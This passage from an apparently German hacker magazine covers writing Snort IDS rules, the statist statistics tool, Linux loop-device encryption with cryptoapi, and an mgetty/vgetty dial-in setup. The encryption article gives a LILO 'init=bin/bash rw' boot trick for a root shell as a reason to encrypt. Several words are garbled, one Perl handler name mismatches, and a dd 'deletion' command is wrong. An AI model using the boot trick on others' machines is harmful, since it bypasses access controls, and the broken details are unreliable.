Außerdem müssen die gesammelten Log Daten immernoch von einem Admin ausgewertet werden und auf dem Easterhegg Congress hat auch jemand ein Tool vorgestellt, das aus den Paketbeschreibungen der Rulesets Pakete erstellt und diese dann Snort vor die Schnauze wirft. Bzw. ich habe fuer das P.A.T.H Projekt selbst solch ein Tool geschrieben.

Die enstehenden Logs kann man nicht mehr besonders sinnvoll auswerten und somit kann ein Angreifer in dieser Datenflut untergehen. Vorausgesetzt seine Pakete kommen an und werden nicht über Guardian entsorgt.

Als letzes möchte ich hier noch kurz auf den CGI Scanner Whisker von RFP eingehen. Abgesehen davon, dass ich Whisker für den besten CGI Scanner halte, versucht das Tool durch verschiedene Technicken IDS Systeme zu umgehen. Die Ideen wie Hex codierte URLs oder Double-Shlashes in der URL sollten die Regelwerke eines IDS austricksen. Die Ideen fand ich recht interessant und somit hab ich Whisker mal auf Snort los gelassen. Das Ergebnis kann sich sehen lassen: Snort kann man dadurch nicht verarschen! =)

Wenn man auf einen neuen Exploit gestossen ist und möchte, dass Snort diesen auch erkennen kann, dann sollte man sich ein eigenes Ruleset schreiben bzw. ein bestehendes erweitern. Es versteht sich hoffentlich von selbst, dass die neuen Rules der Snort Gemeinde zur Verfügung gestellt werden... Um ein einfaches Beispiel zu nehmen, schreiben wir uns jetzt mal eine Paketbeschreibung, die alle RST Packete mit Window size 1024 als gefährlich einstuft.

Tcpdump

16:06:03.326371 syntaxerror.crazydj.de.6666 > gateway.crazydj.de.http: R 0:2(2) win 1024 [tos 0x10]

Snort Rule

alert tcp $EXTERNAL_NET any <> $HOME_NET any (msg:"Detected packet with window-size 1024; flags:R; classtype:misc-activity; rev:5;)

Unter diese Regel fällt ein TCP Packet, dass entweder vom externen Netz ins interne Netz oder umgekehrt geschickt wird (Port any), das RST Flag (und nur das RST Flag) gesetzt hat und eine Windowsize von 1024 aufweist. Als Logmeldung wird daraufhin der msg String in die Logdatei geschrieben. Als nächstes soll das Paket nur geloggt werden, wenn es von dem Rechner syntaxerror and gateway geschickt wird, anders herum interessiert uns nicht und um die Sache noch etwas spannender zu gestalten, muss das Paket noch den Payload "CCC TCP Hijacking is not a crime" enthalten. Der Rechner Syntaxerror hat die IP 192.168.0.1 und Gateway die 192.168.0.2.

Tcpdump

16:09:26.017503 syntaxerror.crazydj.de.6666 > gateway.crazydj.de.http: R 0:30(30) win 1024 [tos 0x10]

  • 0x0000 4510 0046 419a 0000 1906 d876 c0a8 0321 E..FA......v...!
  • 0x0010 c0a8 0320 1a0a 0050 0000 0000 0000 0000 .......P........
  • 0x0020 5004 0400 75bb 0000 4343 4320 4869 6a61 P...u...CCC.Hija
  • 0x0030 636b 696e 6720 6973 206e 6f74 2061 2063 cking.is.not.a.c
  • 0x0040 7269 6d65 0d0a rime..

Snort Rule

alert tcp 192.168.0.1 any -> 192.168.0.2 any (msg:"Detected packet with window-size 1024; flags:R; content:"CCC Hijacking is not a crime"; classtype:misc-activity; rev:5;)

Um die Packetbeschreibung so genau wie möglich zu gestalten und false alarms zu vermeiden, wollen wir das Packet jetzt nur loggen, wenn es als Destination Port 80 eingetragen hat

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Detected packet with window-size 1024; flags:R; content:"CCC Hijacking is not a crime"; classtype: misc-activity; rev:5;)

Die Ausdrücke können natürlich auch über den ! Operator netgativ formpalawanert werden, also wenn das Paket nicht nach Port 80 geschickt wird. Oder aber wenn das Packet an einen Port kleiner als 1024 geschickt wird, dann sähe die Regel so aus:

alert tcp $EXTERNAL_NET any -> $HOME_NET:1024 (msg:"Detected packet with window -size 1024; flags:R; content:"CCC Hijacking is not a crime"; classtype: misc-activity; rev:5;)

Es gibt noch eine ganze Reihe weitere interessante Befehle wie z.B. ttl, nocase, seq, ack, dsize usw...

Die offizielle Snort Dokumentation enthält eine gute Referenz dazu: http://www.snort.org/docs/writing_rules/

Ansonsten hält man seine Snort Rules am besten mit dem Programm oinkmaster auf dem neuesten Stand. Das Perl Script gibt es unter http://www.algonet.se/~nitzer/oinkmaster/

Allerdings ist oinkmaster noch auf die alte Homepage Struktur von snort.org eingeschossen, deswegen muss man ihm immer mit dem Parameter -u die neue URL http://www.snort.org/dl/signatures/snortrules.tar.gz unterschieben.

Offizielle Snort Homepage http://www.snort.org

Snort Mailing Listen http://www.snort.org/lists.html

Snort im Usenet mailing.unix.snort

The Lisa Paper http://www.snort.org/docs/lisapaper.txt

Snort VS Whisker CGI Scanner http://online.securityfocus.com/infocus/1577

Virtual Honeynets http://online.securityfocus.com/infocus/1506

Snort Installation and Basic Usage http://online.securityfocus.com/infocus/1421

Identifying ICMP Hackery Tools Used In The Wild Today http://online.securityfocus.com/infocus/1183

Useful stuff Snort Cheat Sheet

Statist - ein schnelles kleines aber umfangreiches Statistik-Tool

(undermink)

Mathematische Aufgaben und Computer? Waren die nicht mal nur und ausschließlich dafür gedacht? Aber warum kann ich nur ca 64.000 Einträge in eine Microsoft Excel Tabelle vornehmen? Und warum ist bei OpenOffice schon bei 32.000 Schluß? Dies war die Ausgangslage für die statistische Auswertung von knapp über 3 Millionen Messergebnissen, die untereinader korelliert werden sollten, für die über unterschiedlichwe Abschnitte Mittelwert, Standardabweichung und Varianz berechnet werden sollten.

Also musste ein Programm her, dass dies auf eine möglichst einfache Weise kann und sich am besten noch in Schleifen von Bash-Skripten einbinden lässt und auch gleich Grafiken erstellt. Gesucht und gefunden: statist 1.0.1, ursprünglich von Dirk Melcher und weitergepflegt von Bernhard Reiter.

Am Anfang steht eine rudimentären Dateiverwaltung, die neben dem Einlesen von ASCII-Dateien auch einen Export von einzelnen Spalten zulässt. Aus dem Portfolio statistischer Auswertungen können folgende Berechnungen durchgeführt werden:

  • Lineare Regression und Korrelation
  • Rank-Korrelationskoeffizient von Spearman
  • Multiple lineare Korrelation
  • Partielle lineare Korrelation über maximal 5 Variablen
  • Polynomregression
  • Matrix zu den linearen Korrelationskoeefizienten und zu Spearman
  • Punkt-biserielle Korrelation
  • Kreuz-Validierung multipler linearer Regression
  • Randomisierung multiple lineare Regression

Noch dabei? Gut, denn nun kommen die Tests:

  • t-Test zum Vergleich zweier Mittelwerte aus Stichproben
  • t-Test zum Vergleich paarweise erhobener Stichproben
  • Test auf Normalverteilung
  • Chi-Quadrat Vierfeldertafeltest
  • Chi-Quadrat Zwei-Merkmale-Tafeltest
  • u-Test (Unabhängigkeit zweier Stichproben)
  • H-Test nach Kruskal-Wallis
  • Wilcoxon-Rang-Test
  • Chi-Quadrat-Test auf gleiche Häufigkeit
  • Chi-Quadrat-Test auf Gleichheit gemessener theoretischer Häufigkeiten

Immer noch dabei? Dann zum letzten Teil:

  • statistische Parameter wie Standardabweichung, Mittelwerte, Quantile usw.
  • Probitanalyse
  • Ausreiser und Box-Whisker Plot
  • Perzentile

Nachdem nun der Umfang von statist 1.0.1 beschrieben ist, fehlt noch der Hinweis, das sich die Ergebnisse per gnuplot direkt in Grafiken darstellen lassen. Selbstverständlich ist die Ergebnisausgabe und Grafikausgabe auch in Dateien möglich.

Liegen mehrere Messergebnisse als ASCII Dateien in einem bestimmten Verzeichnis vor, kann statist diese mit Hilfe einer Schleife komplett durcharbeiten. Ausgangsdatei:

#jahr monat tag stunde temperatur
2003 08 10 12 39.5
2003 08 10 13 39.9
2003 08 10 14 40.2
2003 08 10 15 39.8

Dieses Bash-Skript übernimmt die Steuerung von statist:

#!/bin/bash
# statist_parser
statist --bernhard -silent -noplot<<ENDE
$1
4
1
b



0
0
ENDE
  • --bernhard: Ausgabe Tabellen
  • -silent: keine Menus anzeigen
  • -noplot: keine Grafik erstellen
  • 4 --> Verschiedenes
  • 1 --> Statistische Parameter (STABW, VARC,...)
  • e --> Spalte e enthält die Werte (Temperatur)
  • Leerzeilen und 0: statist beenden

Dieses Skript zum Beispiel in einer for-Schleife eines weiteren Bashskriptes kann alle ausgewählten ASCII-Dateien in einem Verzeichnis auf die gleiche Weise bearbeiten.

#!/bin/bash
 
for f in `find /daten-verzeichnis/ -name "*.txt"`;
do
    ./statist_parser $f > /ergebnis-verzeichnis/parameter-`basename $f`;
done

Dateisysteme unter Linux verschlüsseln

(balle)

Haaalt!!! Haltet den Dieb!!! Shit! Da vorne rennt mein Laptop! .oO( Jetzt kann der Typ meine Mails und Daten lesen, hat meinen PGP und SSH Private Key... ) Nicht gerade eine angenehme Vorstellung, oder? Hättest Du Deine Daten doch bloss besser geschützt!

Dateien und E-Mails verschlüsselt man ja standardmäßig mit PGP oder GnuPG. Aber wie kann man unter Linux eigentlich ganze Partitionen oder eine Cd verschlüsseln?

Ganz einfach! Mit Hilfe von Cryptoapi und gepatchten util-linux Sourcen.

Dieser Artikel ist ein Update von Doobee R. Tzeck Artikel "Encrypting your Disks with Linux" in DS #68.

Naja, warum hab ich ja eigentlich schon in der Einleitung geklärt... Aber Du könntest jetzt ja behaupten, dass Du Dein System gut geschützt hast und das niemand ohne Root Zugriff Deine Daten lesen kann.

Dann wechsel mal beim Lilo Bootprompt in die Texteingabe (ESC / F2) und tipp folgendes ein: kernel-image name init=bin/bash rw Schwups! Schon landet man in ner Root Shell (Bash les- und schreibar)... Alter Trick. Dein Lilo ist dagegen geschützt?

Dann kann man immer noch die Platte in einen anderen Rechner einbauen und so auf die Daten zu greifen. Wenn man physikalischen Zugriff auf Deinen Rechner hat, müssen Deine Daten also anders (durch Verschlüsselung) geschützt werden! Kommen wir zur nächsten wichtigen Frage: Was sollte man denn nun eigentlich alles verschlüsseln?

Das man seine eigenen Dateien und Dokumente verschlüsseln sollte, ist glaube ich absolut klar, daneben am besten auch noch sein /home Verzeichnis, weil dort SSH und PGP Private Keys, E-Mails, der Browser Cache, das Adressbuch, die Bash History und ne Menge anderer persönlicher Krempel gespeichert wird. Vielleicht wäre es auch nicht falsch /var/log und /var/spool (oder gleich /var) für Unbefugte unlesbar zu halten. Dort befinden sich immerhin ne Menge Informationen über das System und seine Vergangenheit! Wenn man zu Hause oder in der Firma einen eigenen Proxyserver stehen hat und nicht möchte, dass jemand nach vollziehen kann wohin man wann gesurft ist, dann sollte man auch den Cache und die Logdateien des Proxies verschlüsseln. Zusätzlich fallen mir jetzt noch so die Daten einer Datenbank ein (z.B. bei Mysql /var/lib/mysql), das DocumentRoot Verzeichnis eines Webservers, das Mailverzeichnis eines Mailservers / Faxservers, CVSROOT des Cvs Servers, Backup Cds und Bänder und alle anderen Verzeichnisse, die im Falle eines Diebstahls wertvolle Firmengeheimnisse bzw. persönliche Daten preisgeben könnten.

Dabei sei noch angemerkt, dass die Daten im laufenden Betrieb, wenn sie einmal entschlüsselt wurden natürlich auch entschlüsselt bleiben, aber Diebe haben so die Angewohnheit die Geräte vom Strom zu nehmen und Knallgas zu geben... Also zu verschlüsseln gibts viel. Packen wirs an! =)

Normalerweise befindet sich ein Dateisystem immer direkt auf einem Blockdevice wie z.B. /dev/hda1. Aber was ist schon normal? Das Dateisystem kann sich eben so gut in einer Image Datei befinden, die dann über ein Loopback Device an ein Blockdevice gebunden wird. Dazu passt ganz gut die Frage: Was ist eigentlich genau ein Loopback Device? Laut der Kerneldokumentation ist ein Loopback Device folgendes:

The loopback devices are used to mount filesystems not associated with block devices. The binding to the loopback devices is handled by mount(8) or losetup(8).

Über Loopback Devices kann man mit mount also Dateisysteme mounten, die nicht auf Blockdevices gespeichert werden. Das hat ja erstmal nichts mit Verschlüsselung zu tun, aber...

Das Paket Cryptoapi enthält Kernelmodule zum verschlüsseln von Loopback Devices , Verschlüsselungsalgorythmen wie z.B. blowfisch, twofish, DES, IDEA und XOR (süß...) und einen Patch für das util-linux Paket, damit mount die verschlüsselten Devices mounten bzw. losetup die zusätzlichen Algorythmen nutzen kann.

Das ist doch eigentlich 'ne super Sache! Warum ist das nicht im Standardkernel implementiert? Ganz einfach; Weil es entweder die entsprechenden Patente oder aber die Kryptoexporte einiger Länder (wie vor allem die der USA), die Verbreitung verbieten und den Fortschritt behindern. Für den ganzen Spass muss Dein Kernel natürlich Loopback Devices generell unterstützen (Block devices / Loopback device support). Diese Loopback Devices solltest Du übrigens nicht mit dem lo Netzwerk Device verwechseln! Das ist dafür zuständig, dass sich lokale Prozesse quasi über ein Netzwerk, welches sich nur auf dem lokalen Rechner abspielt, verständigen können, wie z.B. der X-Server. Aber nicht so schnell! Ich sollte vielleicht erstmal erklären wie man den ganzen Krempel installiert...

Cryptoapi unterstützt die Kernel 2.4.7, 2.4.16, 2.4.17 und 2.4.18. Also ist die Grundvoraussetzung, dass Du einen der angegebenen Kernel laufen hast! Schau am besten mal kurz auf der offiziellen Cryptoapi Homepage vorbei, um zu sehen, ob Dein aktueller Kernel mittlerweile unterstützt wird, weil dieser Artikel ist auf dem Stand von Jpalawan 2002.

Die Installation von Cryptoapi ist fast schon langweilig: ./configure && make && make install. Danach findest Du unter /lib/modules/kernel-version/cryptoapi die verschiedenen Kernelmodule.

Jetzt musst Du noch die Sourcen von util-linux entpacken und patchen. Den Patch findet Du im doc Verzeichnis von Cryptoapi.

cd util-linux
patch -p1 < ../cryptoapi/doc/util-linux.patch

Und anschließend wie gewohnt noch die util-linux Sourcen compilieren: ./configure && make && make install.

Jetzt lädst Du auf jeden Fall die Module cryptoapi.o und cryptoloop.o plus mindestens ein Modul für den gewählten Verschlüsselungsalgorythmus. Falls Dein Kernel keine Module unterstützen soll, kannst natürlich auch den Kernel patchen und die Fähigkeiten von Cryptoapi direkt in den Kernel compilieren. Einen entsprechenden Patch findest Du auf der Homepage von Cryptoapi (patch-int-kernel-version). Soweit so gut...

Jetzt muss ne Imagedatei her, in die Du später das Dateisystem und Deine Daten packen kannst. Die Imagedarei legt man via dd an:

dd if=/dev/urandom of=/path/image-file bs=1024 count=device-size

Solltest Du vergessen mit count eine Grösse an zu geben, dann kann es "schnell" passieren, dass Du dir Deine Festplatte mit einem 0 / 1 Gesülze zumüllst, aber ich behaupte mal die Handhabung von dem Befehl dd sollte Dir bekannt sein... Jetzt verbindet man die Imagedatei mit einem freien Loopback Device und legt den Verschlüsselungsalgorythmus (z.B. twofish) fest:

losetup -e twofish /dev/loop0 /path/image-file

Man wird nach einer Keysize und einem Passwort gefragt. Anschließend muss noch 'n Dateisystem her:

mke2fs /dev/loop0

Nun kann man das Device /dev/loop0 wie jedes andere Device mounten und seine Daten übertragen. Danach löst man die Imagedatei nach einem umount wieder von dem Loopback Device:

losetup -d /dev/loop0

Die Daten liegen jetzt verschlüsselt in der Imagedatei und können nur mit dem Wissen über den Verschlüsselungsalgorythmus, der Keysize und natürlich dem Passwort wieder über das Loopback Device entschlüsselt werden.

Es ist ziemlich lästig, wenn man nach dem Booten immer von Hand seine ganzen Loopback Devices einbinden muss, deswegen muss ein Shell Script her, das dies automatisch und mit einmaliger Passwortabfrage erledigt. Ein Beispiel Script, welches auch die benötigten Kernelmodule lädt, könnte so ausssehen:

#!/bin/bash
echo "---:[ Loading Crypto LKMs"
insmod /lib/modules/2.4.7/cryptoapi/cryptoapi.o
insmod /lib/modules/2.4.7/cryptoapi/cryptoloop.o
insmod /lib/modules/2.4.7/cryptoapi/cipher-twofish.o
echo "Are you allowed to play the game??"
echo ""
read -s -p "---:[ Password to mount encrypted devices: " PASS; echo
echo ""
read -s -p "---:[ Enter the keysize: " KEY; echo
echo "Trying to mount the encrypted devices..."
echo "$PASS" | /sbin/losetup -e twofish -p 0 -k $KEY /dev/loop0 /crypt/data
e2fsck /dev/loop0
mount -t ext2 /dev/loop0 /data
echo "$PASS" | /sbin/losetup -e twofish -p 0 -k $KEY /dev/loop1 /crypt/home
e2fsck /dev/loop1
mount -t ext2 /dev/loop1 /home
[...]

Außerdem ist es bis jetzt root vor behalten auf die verschlüsselten Partitione zu zu greifen. Wenn user karl_arsch diese auch mounten können soll, dann muss man die /etc/fstab ein wenig anpassen. Die Optionen einer verschlüsselten Partition werden um loop, encryption=algorythm, user ergänzt:

/crypt/data /data ext2 noauto, loop, encryption=twofish, user 0 0

Wenn der User karl_arsch jetzt die in /crypt/data verschlüsselten Daten nach /data mounten will, dann ruft der mount Befehlt automatisch losetup auf und fordert ihn auf die Keysize und das Passwort ein zu geben. Aber was macht man jetzt wenn folgende Situation eintritt?

Verdammt! Irgendso ein ***** hat mein Passwort gehackt und sich Zugriff zu meinem Loopback Device verschafft! Ich muss sofort das Passwort und den Algorythmus (am besten auch die Keysize) ändern! Keep cool!

Als erstes brauchst Du 'n freies Loopback Device. Waaas? Du hast alle verbraten? Dann leg ein neues an!

mknod /dev/loop1 b 7 7

Jetzt hängst Du die Partition einmal wie gewohnt ein und ein anderesmal mit den neuen Einstellungen auf einem freien Loopback Device. Anschließend überträgst Du die Daten mit dd von dem alten auf das neue Loopback Device und hängst das alte wieder aus.

losetup -e twofish /dev/loop0 /crypt/data
losetup -e idea /dev/loop1 /crypt/data
dd if=/dev/loop0 of=/dev/loop1 bs=1024 conv=notruns
losetup -d /dev/loop0

Du kannst mit diesem Verfahren auch die Grösse der Imagedatei anpassen indem Du eine kleinere / grössere Imagedatei an /dev/loop1 hängst und die Daten dorthin überträgst.

Eine ausführlichere Anleitung dazu sowie zu sämtlichen anderen Themen rund um die Cryptoapi gibt's unter

  • Encryption Howto
  • Linux Magazin 11/2001 - Verschlüsselte Dateisysteme mit dem Loopback-Device

Seine Daten auf verschlüsselten Loopback Devices zu speichern, hat nicht nur Vorteile.

Was wohl jeden klar sein sollte: Wenn Du selbst den Verschlüsselungsalgorythmus , die Keysize und Dein Passwort vergisst, dann haste ein ernsthaftes wenn nicht unlösbares Problem!

Genauso ist die Verschlüsselung nur so sicher wie Dein Passwort und Dein Betriebsystem. Wenn Du ein zu leichtes Passwort oder nen Keylogger auf dem Rechner hast, dann hilft Dir keine Verschlüsselung. Aber das kennt man ja... Nach meinen Erfahrungen sind verschlüsselte Loopback Devices aber auch anfälliger gegen plötzlichen Stromausfall, zumindest wenn sie gross (mehr als 7 Gb) sind.

Mir ist es hier schon ein paar mal passiert, dass das Dateisystem nicht mehr her zu stellen war, da keine einzige Inode mehr stimmte, weil ich vor dem runter fahren die Loopback devices nicht richtig ausgehängt hatte. Deshalb schreib Dir auch dafür 'n Script! Und vermeide Loopback Devices über einer Größe von 7 Gb.

Manch einer könnte jetzt behaupten, dass man ja eh keine Dateien größer als 4 Gb mit einem 2.4.x Kernel erstellen kann. Das ist erstmal richtig. Wenn Du versucht eine 7 Gb Datei mit rm zu entfernen, dann zeigt Dir der Kernel den dicken Finger! Aber mit dd kann man auch größere Dateien anlegen. Und die kann man anschließend auch nur mit dd wieder los werden:

dd if=big-file of=/dev/null bs=0 count=0

Damit Deine Daten im Falle eines Crashes nicht futsch sind, solltest Du sie vielleicht in einem verschlüsselten Loopback Device auf Deinem Backup Server sichern oder auf einer Cd.

Dialin Server - Oder wie man mit einem Telefon einen Rechner fernsteuert

(balle)

Trotz DSL und ISDN Flatrate gibt es immer noch genügend Modembenutzer in Deutschland. Die meisten werden ein Voice- und Faxmodem ihr Eigen nennen, aber diese durchaus netten Eigenschaften werden in den seltesten Fällen genutzt. Dabei kann man vor allem mit den Voice Eigenschaften seines Modems sehr schön herum spielen und brauchbaren Zusatznutzen gewinnen wie z.B einen selbstprogrammierten Anrufbeantworter, der je nach Caller ID den Anrufer begrüsst, weiterleitet oder sonstige Aktionen (Programme) ausführt.

Um einen Dialin Server auf zu setzen, verwendet man am besten das Programm mgetty von Gert Döring. Ich empfehle Dir allerdings, dass Du Dir die neuesten Sourcen ( kein RPM odere andere Binary Klamotten) aus dem Netz saugst und sie von Hand compilierst. Die Sourcen gibt es unter: http://alpha.greenie.net/mgetty/.

Wenn Du nämlich automatisch den PPP Daemon starten möchtest, dann musst Du das Makefile anpassen. Um genauer zu sein die Compiler Flags. Öffne also nach dem entpacken das Makefile in einem Editor und suche die Zeile:

CFLAGS=Compiler-Flags

An diese Zeile hängst Du noch den Befehl -DAUTOPPP. Das wird aber auch alles im Makefile sehr gut beschrieben.

Nun musst Du noch die Datei policy.h-dist nach policy.h moven. Danach kannst Du wie gewohnt die Sourcen compilieren und installieren:

make ; make install.

Wenn Du nicht nur einen gewöhnlichen Dialin Server haben möchtest und ein Voice Modem besitzt, dann musst Du noch das Programm vgetty compilieren. Das befindet sich im Unterverzeichniss voice.

Nach der Installation kopierst man die Vgetty Configdatei voice.conf-dist als voice.conf ins etc Verzeichnis von mgetty (z.B. /usr/local/etc/mgetty+sendfax). Vielleicht sollte ich auch noch erwähnen, daß megtty durch sendfax die Funktionen bietet, daß Dein Fax Modem Faxe empfängt bzw. sendet. Doch darauf werde ich hier nicht eingehen...

Erstmal eine Übersicht über die Configdateien (die Configdateien zum Faxen werden wie gesagt nicht berücksichtigt). Die Configuration wird zunächst für einen gewöhnlichen Dialin Server (per PPP) erklärt:

dialin.config -- Diese Datei kann man mit hosts.allow vergleichen. Sie bestimmt von welchen Telefonnummern (Caller IDs) man diesen Dialin Server benutzen darf. Vorausgesetzt das Du nicht so arm dran bist wie ich und eine digitale Leitung Dein "Eigen" nennst bzw. Deine analoge Leitung die Caller ID mit bekommt.

login.config -- Hier wird fest gelegt, welches Programm als Login Programm für Deinen Dialin Server dienen soll. Standardmäßig ist dies /bin/login. Falls Du allerdings automatisch den PPP Daemon starten möchtest, damit sich Deine Kumpels per Modem und PPP Protocol bei Dir einwählen können, dann fügst Du die Zeile

/AutoPPP/ - ppp /usr/sbin/pppd auth -chap +pap login kdebug 7 debug

ein und kommentierst die Zeile über /bin/login aus.

Welche Optionen der PPP Daemon erwartet, hängt ganz von Deinen Erwartungen und auch von Deinem verwendeten Modem ab (und welche Protokolle Du zur Einwahl anbieten möchtest CHAP (verschlüsselt) oder Standard PAP (plain)). Die Default Einstellung funktioniert aber für die meisten Modemtypen und Wünsche. Für mehr Informationen: man pppd.

mgetty.config -- In dieser Datei sagst Du mgetty an welchem Port es Dein Modem findet, welche Geschwindigkeit (in Baud) verwendet werden soll, mit welchen Rechten (unter welcher UID) Dein Modem Device läuft und wenn Du ein nicht ganz gebräuchliches Modem verwendest, findest Du hier auch noch standardmäßig ein paar Einstellungen, die speziell auf diesen Modemtyp zu geschnitten sind. Außerdem kannst Du auch noch über die Funktion init-chat bzw. answer-chat genau bestimmen mit welchen Modem Commands Dein Modem initialisiert werden soll, was es als Antwort erwarten soll und wie es zu reagieren hat. Diese Option braucht man aber nur in äußerst exotischen Fällen oder wenn man sich quer durch die Innereien seines Modems hacken möchte. =)

Warum ich so bescheuert bin und diesem Thema ein eigenes Kapitel widme? Weil ich selbst zwei Mal damit auf die Schnauze gefallen bin und mir im Usenet nen Abriss holen durfte! ;-D

Faustregel: Starte mgetty niemals von der Konsole aus (auch wenn Du UID 0 Rechte hast!), weil mgetty dann nicht die Rechte besitzt um Dein Modem Device uneingeschränkt zu nutzen.

Du musst deshalb einen Eintrag in /etc/inittab erstellen und sicher stellen, daß mgetty in allen run leveln verfügbar ist. Deshalb ergänze /etc/inittab durch folgende Zeile:

S0::respawn:/usr/local/sbin/mgetty -x 9 ttyS0

Die ID (S0) von inittab muss dem Device entsprechen (ttyS0). Durch die Option respawn wird der mgetty Prozess nach dem schliessen immer wieder neu gestartet. Ansonsten ist er nämlich futsch, sobald der erste Anrufer aufgelegt hat!

Und hier auch noch ein paar nützliche Optionen beim starten von mgetty:

  • -x integer -- Setz den Debug Level (Die Logdatei findet man unter /tmp/mgetty.device)
  • -D -- Teilt mgetty mit, daß es das Modem nur im Data Modus ansprechen soll
  • -n (n as integer) -- Mgetty hebt nach dem n. klingeln ab.

Für mehr Optionen: man mgetty.

Nach dem Eintrag einfach noch den init Prozess neu starten: init -q. OK. Damit sollte Dein Dialin Server für PPP funktionieren.

Ich habe mich allerdings an dieses Problem gewagt, weil ich gerne mein Handy als Fernbedienung für meinen Rechner nutzen wollte. Tja, leider versteht mein Handy kein PPP... Was nun?

Doch nicht so voreilig! Erstmal will ich erklären wie man mit einem Voice Modem einen Anrufbeantworter simpalawanert oder wohl eher erstmal wie man vgetty configuriert.

Die zentrale Configdatei von vgetty ist die besagte voice.conf Datei. Hier legt man ebenfalls fest an welchem Port das Modem angeschlosssen ist: port ttyS0, in welchem Verzeichnis die Voice Dateien (aufgenommene sowie Dateien zum abspielen) abgelegt sind: voice_dir: /var/spool/voice.

Dann configuriert man wieder die Rechte des Modem Devices wie in mgetty.config (mit dem gleichen Commands), sowie den Port Speed. Anschließend kann man noch angeben wie die aufgenommenen Sound Files comprimiert werden sollen:

rec_compression integer

Mit welcher Geschwindigkeit die Aufnahme geschehen soll:

  • rec_speed integer -- 0 steht übrigens für so viel wie auto
  • rec_remove_silence boolean -- Ob die Stille nach der Aufnahme entfernt werden soll
  • rec_max_len und rec_min_len -- Wie lange die Aufnahme maximal bzw. minimal in Sekunden dauern soll
  • beep_frequency und beep_length -- Wie sich ein Pfeif Ton vom Modem anhören soll (vergleichbar mit den Einstellungen von setterm)

Und schließlich als Creme de la Creme:

voice_shell interpreter-- Mit welchen Interpreter ein Programm aufgerufen werden soll, daß auf verschiedene Modem Ereignisse wie z.B. Voice Detect reagieren soll und...

call_programm programm -- ...natürlich welches Programm aufgerufen werden soll

Das starten von vgetty ist (wenn mans weiß) sehr einfach. Für vgetty gelten natürlich die gleichen Bedingungen wie für mgetty und deshalb tauscht man den Eintrag von mgetty in der /etc/inittab einfach gegen vgetty aus. Netter Weise sind sogar die Optionen die gleichen.

Gleich vorweg: Ein Beispiel Script wie man einen Anrufbeantworter programmiert, wird einem gleich mal in Form eines Perl Scriptes mit geliefert. Schau Dir mal in den mgetty Sourcen unter voice/Perl/ das Script answering_machine.pl an.

Vgetty installiert dafür ein Perl Modul Modem::Vgetty, das es natürlich auch im CPAN (http://www.cpan.org) gibt, mit dem man sein Voice Modem programmieren kann.

Nett! So langsam fängt die Sache an interessant zu werden! =) Hier doch noch mal ein kurzes Perl Script, das nach dem abheben, dem Anrufer eine Sound Datei vorspielt und danach das Gespräch aufzeichnet:

#!/usr/bin/perl
# Lade das Vgetty Modul
use Modem::Vgetty;
# Modem::Vgetty Objekt
my $modem = new Modem::Vgetty;
# Spiele eine RMD Sound Datei ab und warte bis das Modem wieder bereit ist
$modem->play_and_wait('/var/spool/voice/greets.rmd');
# Nehme danach das Gespräch auf
$modem->record('/var/spool/voice/incoming/test.rmd');

Ist doch easy, oder? =)

Die Sound Dateien, die das Modem erwartet bzw. aufnimmt, werden im RMD (Raw Modem Data) Format gespeichert, doch dazu gleich mehr.

Schön jetzt haben wir unser Voice Modem in einen Anrufbeantworter verwandelt, um weder Freundin noch Vermieter zu erschrecken...

...aber wie zum Teufel können wir das Ding jetzt dazu verwenden, um endlich den Rechner fern zu steuern???

Ist ja in Ordnung! Ich komm jetzt mal zum eigentlichen Thema! :-p

Das Modem::Vgetty Modul unterstützt neben den eben genannten Methoden auch noch Event Handler wie z.B. DIAL_TONE (das Modem wählt gerade), VOICE_DETECTED (das Modem hat erkannt, daß jemand mit ihm labert / funktioniert leider nicht bei jedem Modem Typ), SILENCE_DETECTED (da geht nix ab auf der Leitung) und was jetzt am meisten interessiert RECEIVE_DTMF (jemand sendet DTMF Töne über die Leitung, indem er z.B. Tasten auf seinem Handy drückt).

Durch diese Funktion wird einerseits ermöglicht mit vgetty ein Voice Menu (drücken Sie die 1, wenn Sie Ihre Kreditkartennummer übermitteln wollen) zu programmieren oder aber die Eingabe einer (mehrerer) PIN Nummer.

#!/usr/bin/perl  
use Modem::Vgetty;  
my $modem = new Modem::Vgetty;  
# Registriere ein Event beim Modem und aktiviere den Handler  
   $modem->add_handler('RECEIVE_DTMF','callback_id',\&callback);
$modem->enable_events;  
sub callback_routine  
{  
# Man bekommt eine Referent auf das Objekt, eventuell übergebene  
# Parameter und den eigentlichen DTMF Ton als Integer  
my($object, $parameter, $dtmf_tone) = @_;  
print STDERR "Der Anrufer hat eine die Taste  $dtmf_tone gedrückt!\n";  
}  

Mit diesem Wissen ausgestattet können wir schon ein Perl Programm schreiben, dass sich erst mal als ein ganz gewöhnlicher Anrufbeantworter ausgibt, aber auch auf Tasteneingaben reagiert und wir können (voraus gesetzt man hat keine analoge Leitung :-( ), auf die Caller ID reagieren. Das kann man selbst verständlich auch aus dem Perl Programm heraus, um z.B. seinen Vermieter oder seine Freundin ganz speziell zu begrüßen oder aber um die PIN Eingabe nur von bestimmten Telefonnummern zu zu lasssen (Security lässt grüssen! =) So nebenbei: Ich bin kein Telefon Phreak, gibt's eigentlich auch Spoofing für Telefonnummern??

Wer auf Nummer sicher gehen möchte, der kann auch Mgetty anweisen einen Callback durch zu führen. Dann gibt man z.B. eine richtige PIN ein, der Server ruft darauf hin bei einem auf dem Handy an (nicht die CALLER_ID!!) und übermittelt einem die zufällig errechnete PIN, um den Rechner online zu schalten. Dieses Verfahren hab ich hier allerdings nicht verwendet, sollte nur so als Überlegung dienen.

Auf jeden Fall wird die Caller ID als Environment Variable CALLER_ID gesetzt. Man kann sie also in einem Perl Script ganz einfach auslesen:

#!/usr/bin/perl
use env qw(CALLER_ID);
print "Caller ID is $CALLER_ID\n";

So weit so gut!

Man kann jetzt zwar auf eine PIN reagieren und sie auch nur von bestimmten Telefonnummern zu lassen, aber wenn ich bei mir zu Hause anrufe und mein Modem abhebt, dann ist die Leitung besetzt! Wie bekomme ich die Leitung jetzt wieder frei und kann meinem Rechner sagen, daß er sich ins Internet einwählen und mir seine IP Nummer per Mail / SMS schicken soll?

Ich hatte Probleme dies aus dem Caller Script heraus zu erledigen, obwohl ich mittels sleep ein paar Sekunden gewartet habe, bis vgetty das Modem wieder initialisiert hatte und das Device frei war, deswegen habe ich es ein wenig anders gehandhabt.

Die Sourcen zu meinem verwendeten Perl Script kann man am Ende dieses Artikels finden.

